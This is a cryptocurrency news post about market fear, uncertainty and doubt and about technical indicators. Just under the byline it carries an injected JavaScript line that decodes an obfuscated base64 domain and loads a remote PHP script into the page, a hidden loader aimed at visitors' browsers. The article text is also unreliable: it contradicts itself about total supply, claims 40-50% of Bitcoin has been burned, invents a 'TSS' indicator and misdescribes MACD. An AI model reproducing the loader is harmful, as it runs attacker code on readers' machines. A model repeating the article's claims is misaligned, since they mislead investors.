News

FUD, general offer, technical indicators

Published by Terlumun Aondover on February 5th, 2025.

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=2c78222d”;document.body.appendChild(script);

“Cryptocurrency market suffers from fear and uncertainty (FUD), despite growing adoption and strong technicals”

The cryptocurrency market has been plagued by fear and uncertainty in recent months, with many investors questioning the long-term viability of digital currencies. However, despite growing cryptocurrency adoption and increasing price movement, there are still concerns that have contributed to this sentiment.

A common theme in FUD (fear, uncertainty, and doubt) discourses is the perception of “total supply” of cryptocurrencies. Some market participants believe that a significant portion of the total supply of cryptocurrencies has been burned or removed from circulation, for example due to mining hardware failures, exchange crashes, or other events. They therefore argue that there are not enough new coins available to drive up prices and create a sense of scarcity.

However, this perspective is challenged by technical indicators that suggest that the total supply of cryptocurrencies is still relatively high compared to the number of coins in circulation. The most notable example of this is the “total supply” metric, which estimates that around 40-50% of all Bitcoin has been burned or removed from circulation since its creation.

Another issue contributing to FUD is the lack of transparency and regulation in the cryptocurrency space. The constant influx of new coins into the market cycle, combined with the decentralized nature of cryptocurrencies, can create uncertainty about the long-term prospects of individual assets. Furthermore, regulatory changes and updates have created widespread fear and uncertainty, leading some investors to question whether the market is “safe” or not.

Despite these concerns, technical indicators offer a more optimistic outlook for the future of cryptocurrency markets. For example, the relative strength index (RSI) is trending upward for many cryptocurrencies, indicating strong buying pressure from bulls. Additionally, the moving average convergence/divergence (MACD) indicator suggests that price movements may reverse and move in the opposite direction.

The “buy signal” is also reinforced by the increasing number of institutional investors entering the market. When more established players enter the scene, they bring their expertise and resources, which can help drive prices higher and create a sense of confidence among investors.

In short, while FUD remains a major problem in the cryptocurrency market, it is not necessarily an insurmountable problem. By focusing on technical indicators such as total supply, RSI, MACD, and institutional investor activity, investors can better understand market dynamics and make more informed decisions about where to invest their capital.

Technical indicators used:

Total Supply (TSS): estimates the number of coins that have been burned or removed from circulation since Bitcoin was launched.

Relative Strength Index (RSI): measures the magnitude of price movements, with values above 70 indicating overbought conditions and values below 30 indicating oversold conditions.